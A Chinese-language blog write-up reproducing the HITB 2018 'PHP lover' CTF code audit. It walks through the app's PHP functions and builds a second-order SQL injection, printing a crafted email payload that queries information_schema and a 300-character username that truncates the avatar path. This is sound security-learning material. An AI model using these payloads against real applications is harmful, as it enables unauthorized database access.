复现HITB PHP lover代码审计

简介: 参考文献:https://www.anquanke.com/post/id/104952一直想学代码审计来着,看到了一篇大佬的关于php代码审计的wp,决定自己试一下源码下载地址:https://hitbxctf2018.

参考文献:https://www.anquanke.com/post/id/104952
一直想学代码审计来着,看到了一篇大佬的关于php代码审计的wp,决定自己试一下
源码下载地址:https://hitbxctf2018.xctf.org.cn/contest_challenge/里面的web题目中的PHP lover

代码结构

Controller           控制器,只有index.controller.php
Core                 类及方法定义
templates            前端的各种html界面
uploads              里面是两张图片
back.sql             创建的数据表
config.php           连接数据库
function.php         定义过滤函数
index.php            入口文件

从index.controller.php看下主要功能

public function login()
public function register()
public function add()
public function view()
public function edit()
public function export()
  • login()
    img_307713c279a7b13aa4a8f15dc9deadff.png
    1.png

    登录调用User类的login()方法,跟进login()函数(在user.class.php中)
    img_d8eabc1cced3ead7d75ae0d6977fdca9.png
    2.png

    跟进username的过滤函数filter()(在function.php文件中)
    img_d8d8cdeb4b5ffb52aedf58951c3b49b8.png
    3.png

    其中正则表达式中的b表示的为单词边界,而不是通配,如preg_match("/bwebb/i")只能匹配到web,而web123这种就不能。
    所以可以用"select * from/**/users"绕过此过滤(/**/作为空格注入)

但是在User类的login()方法中,

img_0c987b7a182d184df4b94bd7a88e7b5f.png
4.png

这就把 /**/过滤了,所以这个方法不行

  • register()


    img_e6a259239eeebd135eef42a6517c8b3d.png
    1.png

    跟进user类的register()方法


    img_fa7710ccdf054354fd158247f2ce6431.png
    2.png

    其中$username和$nickname没有可能了
    再看一下email,看下正则匹配
if(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$email)) return false;

其中([\"].+[\"])只需要""包围即可,引号中可以随便写。所以可以用·'"' and 1=1#'"@skysec.top'这种绕过,但是在daddslashes()这个函数中将"转义了。

img_c04186b7ae7ab7a3c83ef37873887a32.png
3.png

  • add()


    img_5aeb90dd6070a522215ef073fe0d3823.png
    1.png

    跟进user类中的add()方法


    img_2ac1205ce2bffa00dd020b13f39d12ef.png
    2.png

    全部被转义
  • view()

    img_c86c9e82193b785457c9100f675eec95.png
    1.png

    跟进user类中的getarticle()函数
    img_c1a86f3e2944220ec1d22bb87bff95f0.png
    2.png

    emmm,直接intval()也是妙。。

  • edit()


    img_fe556dcb22214eaece9b4daeb39b9403.png
    1.png

    上传功能,类型检测可以抓包bypass,但是

$info=getimagesize($_FILES['avatar']['tmp_name']);
if(@is_array($info) and array_key_exists('mime',$info)){
    $type=explode('/',$info['mime'])[1];
    $filename="uploads/".$this->user->getuser().".".$type;

文件后缀直接是mine的类型,这样就不能bypass上传恶意文件了
跟进下user类的getuser()方法


img_e42c13c35bbd1fa691dddc5681fa2142.png
2.png

文件名、是我们注册的用户名,用户名是无法bypass的,所以这里的上传,除了文件名长度其他都不可控

  • export()


    img_718f54ae900321d41988f4b67e5d0d7c.png
    1.png

    跟进user()类中的report()方法


    img_c402b1d05cc7ee5c8062aeb0dbb6d0c6.png
    2.png

    这里被当做错误触发,未做任何过滤,其中email的插入很关键
    所以接下来才算步入正题。。。emmm先膜拜下大佬的思路。

攻击点

  • 这题注册的时候,可以Bypass注册恶意邮箱,但是其中有符号被转义了
  • 但是这个转义在取出数据库的时候会被去除
  • 如果在取出后,系统又对这个数据进行了一次sql操作,就可以触发注入,通过二次注入
  • 我们的注册的时候注册恶意邮箱,在这里触发错误报告的时候就会被系统再次调用,取出数据库后转义消失
  • 拼接到insert语句时,构成sql注入攻击
    我们根据这一点注册用户,邮箱为
"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top

假设我们能触发export()函数中的$this->user->report(1)

img_02ca5e14b48b0661b5269b8c2360b749.png
1.png

$this->email为我们邮箱取出数据库的值:

"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top

此时利用report插入了两条数据

$this->id,'"', 233
2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)

触发sql注入需要解决
①自己的id需要知道,这样可以插入
在view()方法中

 if(isset($_GET['article'])){
            $id=intval($_GET['article']);
            $result=$this->user->getarticle($id);
            if($result==-1){
                quit('You have no access to read this article!');
            }
            else if($result==null){
                //TODO!report it!
                quit('This article is not exists!');
            }
            else{
                if($result[0][2]!="") echo "<h1>".htmlspecialchars($result[0][2], ENT_QUOTES)."</h1>";
                echo htmlspecialchars($result[0][3], ENT_QUOTES);
            }
        }
        else{
            $id=$this->user->getid();
            $this->view=$this->user->getarticle();
            include("templates/view.html");
        }

若是不输入article参数,会调用

function getid(){
        if ($this->islogin) return $this->id;
        else return null;
    }

就可获得id

②触发if(file_exists($avatar) and filesize($avatar)<65535)false,这样就会成功到else,构成攻击
跟进user类中的getavatar()方法

img_ae32f9f3c9153482d8cf1eabd0d4c04a.png
1.png

img_addff42bea3e03b96450bc9275316720.png
2.png

查看 back.sql文件,其中

$r[1]:data
$r[3]:filepath

如果我们的上传图片有数据,就返回Base64后的数据,否则返回路径

edit()的上传功能中有

$filename="uploads/".$this->user->getuser().".".$type;
if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
    $this->user->edit("avatar",array($filename,$type));

跟进user类中的edit()方法

if($feild=="avatar"){
    return $this->db->Insert("avatar",array("''",$this->id,"'$value[0]'","'$value[1]'"));
}

即avatar表的filepath字段为

uploads/用户名.文件mine

数据库结构中

img_4271e977e1e5640e9d0998730c90c851.png
2.png

用户名的长度是300,而路径长度

`filepath` varchar(300),

如果我们的用户名长度为300,此时插入的路径就会被300截断,而变成一个不存在的路径,此时即可触发file_exists($avatar)错误

题目链接打不开了,放下大佬的完整攻击流程:

  • 先随便注册个用户,看一下自己的id
  • 然后再迅速注册用户,验证id是否是自己预想的id+1
username =
skyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskysky
email = 
"', 233), (id+1, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top
  • 登录后触发上传功能
  • 上传空文件,抓包改mine
  • 触发export功能,即可完成攻击,发现注入成功后的数据
    最后得到flag表,以及数据
目录
相关文章
|
安全 小程序 PHP
PHP代码审计(七)Rips源代码审计系统使用教程
上一篇中提到的Seay源代码审计系统是由C#编写的winform程序,现在已经停止更新了,但是,还是比较好用的。 PHP代码审计还有另一个工具,也是一个神器Rips
518 0
|
安全 小程序 PHP
PHP代码审计(五)PHP代码审计方法与步骤
(1):获取到网站源码(这就是废话……) (2):将网站部署到你自己的环境中,能运行。 这里特殊说明一下我的习惯,我本地的环境与线上的环境基本上保持一致,这样在本地审计及线上部署的时候能发现更多的问题。不建议说是随便搭个环境能跑起来就行,这样不是很严谨。 (3):拿到源码之后,浏览大概的项目结构。
226 0
|
Shell PHP Windows
PHP代码审计(四)PHP文件操作函数(2)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
130 0
|
安全 小程序 PHP
PHP代码审计(六)Seay源代码审计系统使用教程
www.cnseay.com/ 当然,这个已经不能访问了。 软件的版本比较早,需要.NET framework3.5框架,我这里是软件启动的时候自动提醒安装,如果没有自动提醒,那么你需要手动安装.NET frameWork3.5框架,否则,程序应该是没有办法运行。
1600 0
|
JSON PHP Apache
[GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)
[GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)
148 1
|
SQL 安全 API
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
331 4
|
前端开发 网络安全 PHP
PHP代码审计之MVC与ThinkPHP简介
PHP代码审计之MVC与ThinkPHP简介
109 2
|
监控 安全 网络安全
PHP代码审计之简单思路方法
PHP代码审计之简单思路方法
261 1
|
SQL 监控 安全
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
190 6
【攻防世界】easyphp(PHP代码审计)
【攻防世界】easyphp(PHP代码审计)